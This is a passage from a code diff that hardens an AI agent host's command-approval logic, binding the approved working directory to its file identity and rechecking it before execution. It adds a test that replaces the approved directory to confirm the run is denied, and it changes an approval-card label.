fs.realpathSync(requestedCwd); - cwdRealStat = fs.statSync(cwdReal); - } catch { - return { - ok: false, - message: "SYSTEM_RUN_DENIED: approval requires an existing canonical cwd", - }; - } - if (!cwdStat.isDirectory()) { - return { - ok: false, - message: "SYSTEM_RUN_DENIED: approval requires cwd to be a directory", - }; - } - if (hasMutableSymlinkPathComponentSync(requestedCwd) || cwdLstat.isSymbolicLink()) { - return { - ok: false, - message: "SYSTEM_RUN_DENIED: approval requires canonical cwd (no symlink path components)", - }; - } - if ( - !sameFileIdentity(cwdStat, cwdLstat) || - !sameFileIdentity(cwdStat, cwdRealStat) || - !sameFileIdentity(cwdLstat, cwdRealStat) - ) { - return { ok: false, message: "SYSTEM_RUN_DENIED: approval cwd identity mismatch" }; - } - return { ok: true, snapshot: { cwd: cwdReal, stat: cwdStat } }; -} - -/** Rechecks that the approved cwd still points at the same directory identity. */ -export function revalidateApprovedCwdSnapshot(params: { snapshot: ApprovedCwdSnapshot }): boolean { - const current = resolveCanonicalApprovalCwdSync(params.snapshot.cwd); - return current.ok && sameFileIdentity(params.snapshot.stat, current.snapshot.stat); -} - export function hardenApprovedExecutionPaths(params: { approvedByAsk: boolean; argv: string[]; @@ -94,16 +41,15 @@ export function hardenApprovedExecutionPaths(params: { }; } - let hardenedCwd = params.cwd; - let approvedCwdSnapshot: ApprovedCwdSnapshot | undefined; - if (hardenedCwd) { - const canonicalCwd = resolveCanonicalApprovalCwdSync(hardenedCwd); - if (!canonicalCwd.ok) { - return canonicalCwd; - } - hardenedCwd = canonicalCwd.snapshot.cwd; - approvedCwdSnapshot = canonicalCwd.snapshot; + // Capture an omitted cwd once on the execution host. Approval, persistence, + // revalidation, and process launch must all bind the same directory identity. + let hardenedCwd = params.cwd ?? process.cwd(); + const canonicalCwd = captureApprovedCwdSnapshotSync(hardenedCwd); + if (!canonicalCwd.ok) { + return canonicalCwd; } + hardenedCwd = canonicalCwd.snapshot.cwd; + const approvedCwdSnapshot = canonicalCwd.snapshot; const resolution = resolveCommandResolutionFromArgv(params.argv, hardenedCwd); if ( diff --git a/src/node-host/invoke-system-run.test.ts b/src/node-host/invoke-system-run.test.ts index 57e9b7a7f423..320e69db7a19 100644 --- a/src/node-host/invoke-system-run.test.ts +++ b/src/node-host/invoke-system-run.test.ts @@ -595,7 +595,7 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { const command = params.command ?? params.preparedPlan?.argv ?? ["echo", "ok"]; let dispatchCommand = command; let dispatchRawCommand = params.rawCommand ?? params.preparedPlan?.commandText; - let dispatchCwd = params.cwd; + let dispatchCwd = params.cwd ?? params.preparedPlan?.cwd ?? undefined; let dispatchAgentId: string | undefined = params.agentId ?? "main"; const forwardsDelayedApproval = params.approvalSource === "auto-review" || @@ -1417,7 +1417,12 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { "off", { command: ["poccmd", "-n", "SAFE"], approved: true }, ); - expectCommandPinnedToCanonicalPath(runCommand, expected, ["-n", "SAFE"]); + expectCommandPinnedToCanonicalPath( + runCommand, + expected, + ["-n", "SAFE"], + fs.realpathSync(process.cwd()), + ); expectInvokeOk(sendInvokeResult); }); }, @@ -1447,7 +1452,12 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { }); }, ); - expectCommandPinnedToCanonicalPath(runCommand, expected, ["-n", "SAFE"]); + expectCommandPinnedToCanonicalPath( + runCommand, + expected, + ["-n", "SAFE"], + fs.realpathSync(process.cwd()), + ); expectInvokeOk(sendInvokeResult); }, ); @@ -2583,7 +2593,7 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { expect(invoke.runCommand).toHaveBeenCalledWith( prepared.plan.argv, - undefined, + prepared.plan.cwd, undefined, undefined, ); @@ -3108,6 +3118,46 @@ describe("handleSystemRunInvoke mac app exec host routing", () => { ); }); + it.runIf(process.platform !== "win32")( + "rejects durable trust when its approved directory is replaced before execution", + async () => { + const tempDir = createFixtureDir("openclaw-durable-cwd-drift-"); + const movedDir = `${tempDir}-moved`; + const prepared = buildCwdApprovalPlan(["/bin/sh", "-c", "/bin/ls"], tempDir); + expect(prepared.ok).toBe(true); + requireApprovalPlan(prepared, "unreachable"); + const commandPattern = createExactCommandPattern(prepared.plan.commandText); + + await withTempApprovalsHome( + createApprovals("allowlist", "on-miss", "full", { + main: { + allowlist: [{ pattern: commandPattern, source: "allow-always" }], + }, + }), + async () => { + const commitAuthorization: HandleSystemRunInvokeOptions["commitExecAuthorization"] = + async (params) => { + await commitExecAuthorizationLocked(params); + fs.renameSync(tempDir, movedDir); + fs.mkdirSync(tempDir); + }; + const rerun = await runLocalSystemInvokeWithPolicy("allowlist", "on-miss", { + preparedPlan: prepared.plan, + cwd: prepared.plan.cwd ?? tempDir, + commitExecAuthorization: commitAuthorization, + }); + + expect(rerun.runCommand).not.toHaveBeenCalled(); + expectInvokeErrorMessage( + rerun.sendInvokeResult, + "SYSTEM_RUN_DENIED: approval cwd changed before execution", + true, + ); + }, + ); + }, + ); + it("does not bind safe builtin policy to a redundant exact-command grant", async () => { if (process.platform === "win32") { return; diff --git a/src/node-host/invoke-system-run.ts b/src/node-host/invoke-system-run.ts index 7b1c679ab454..67d054bd4ff0 100644 --- a/src/node-host/invoke-system-run.ts +++ b/src/node-host/invoke-system-run.ts @@ -54,6 +54,12 @@ import { resolveMutableFileOperandSnapshotSync, } from "../infra/system-run-approval-binding.js"; import { formatExecCommand, resolveSystemRunCommandRequest } from "../infra/system-run-command.js"; +import { + APPROVAL_CWD_DRIFT_DENIED_MESSAGE, + type ApprovedCwdSnapshot, + captureApprovedCwdSnapshotSync, + revalidateApprovedCwdSnapshot, +} from "../infra/system-run-cwd-binding.js"; import { logWarn } from "../logger.js"; import type { NodeHostClient } from "./client.js"; import { evaluateSystemRunPolicy, resolveExecApprovalDecision } from "./exec-policy.js"; @@ -63,11 +69,7 @@ import { resolvePlannedAllowlistArgv, resolveSystemRunExecArgv, } from "./invoke-system-run-allowlist.js"; -import { - hardenApprovedExecutionPaths, - revalidateApprovedCwdSnapshot, - type ApprovedCwdSnapshot, -} from "./invoke-system-run-plan.js"; +import { hardenApprovedExecutionPaths } from "./invoke-system-run-plan.js"; import type { ExecEventPayload, ExecFinishedResult, @@ -154,8 +156,6 @@ const safeBinTrustedDirWarningCache = createDedupeCache({ ttlMs: 0, maxSize: 4096, }); -const APPROVAL_CWD_DRIFT_DENIED_MESSAGE = - "SYSTEM_RUN_DENIED: approval cwd changed before execution"; const APPROVAL_SCRIPT_OPERAND_BINDING_DENIED_MESSAGE = "SYSTEM_RUN_DENIED: approval missing script operand binding"; const APPROVAL_STATE_WRITE_FAILED_MESSAGE = @@ -808,8 +808,21 @@ async function evaluateSystemRunPolicyPhase( }); return null; } - const approvedCwdSnapshot = approvalContextBound ? hardenedPaths.approvedCwdSnapshot : undefined; - if (approvalContextBound && hardenedPaths.cwd && !approvedCwdSnapshot) { + let executionCwd = hardenedPaths.cwd; + let approvedCwdSnapshot = approvalContextBound ? hardenedPaths.approvedCwdSnapshot : undefined; + if (security === "allowlist" && !approvedCwdSnapshot) { + const capturedCwd = captureApprovedCwdSnapshotSync(executionCwd ?? process.cwd()); + if (!capturedCwd.ok) { + await sendSystemRunDenied(opts, parsed.execution, { + reason: "approval-required", + message: capturedCwd.message, + }); + return null; + } + executionCwd = capturedCwd.snapshot.cwd; + approvedCwdSnapshot = capturedCwd.snapshot; + } + if ((approvalContextBound || security === "allowlist") && !approvedCwdSnapshot) { await sendSystemRunDenied(opts, parsed.execution, { reason: "approval-required", message: APPROVAL_CWD_DRIFT_DENIED_MESSAGE, @@ -832,9 +845,9 @@ async function evaluateSystemRunPolicyPhase( } return { ...parsed, + cwd: executionCwd, approvalDecision, argv: hardenedPaths.argv, - cwd: hardenedPaths.cwd, approvals, evaluationPolicySnapshot, security, @@ -867,10 +880,7 @@ async function revalidateSystemRunApprovedPathBindings( opts: HandleSystemRunInvokeOptions, phase: SystemRunPolicyPhase, ): Promise { - if ( - phase.approvedCwdSnapshot && - !revalidateApprovedCwdSnapshot({ snapshot: phase.approvedCwdSnapshot }) - ) { + if (phase.approvedCwdSnapshot && !revalidateApprovedCwdSnapshot(phase.approvedCwdSnapshot)) { logWarn(`security: system.run approval cwd drift blocked (runId=${phase.runId})`); await sendSystemRunDenied(opts, phase.execution, { reason: "approval-required", diff --git a/ui/src/components/exec-approval-card.ts b/ui/src/components/exec-approval-card.ts index 0535a8cc7885..d3ae9802ca54 100644 --- a/ui/src/components/exec-approval-card.ts +++ b/ui/src/components/exec-approval-card.ts @@ -181,12 +181,14 @@ export function compactApprovalCommand(command: string): string { return singleLine.length > 64 ? `${truncateUtf16Safe(singleLine, 61)}…` : singleLine; } -function approvalDecisionLabel(decision: ExecApprovalDecision) { +function approvalDecisionLabel(decision: ExecApprovalDecision, kind: ExecApprovalRequest["kind"]) { return t( decision === "allow-once" ? "execApproval.allowOnce" : decision === "allow-always" - ? "execApproval.alwaysAllow" + ? kind === "exec" + ? "execApproval.alwaysAllowHere" + : "execApproval.alwaysAllow" : "execApproval.deny", ); } @@ -264,7 +266,7 @@ export function renderSidebarApprovalRow(props: SidebarApprovalRowProps) { aria-label=${t("approvalPage.actionsLabel")} > ${resolveApprovalDecisions(approval).map((decision) => { - const label = approvalDecisionLabel(decision); + const label = approvalDecisionLabel(decision, approval.kind); return html`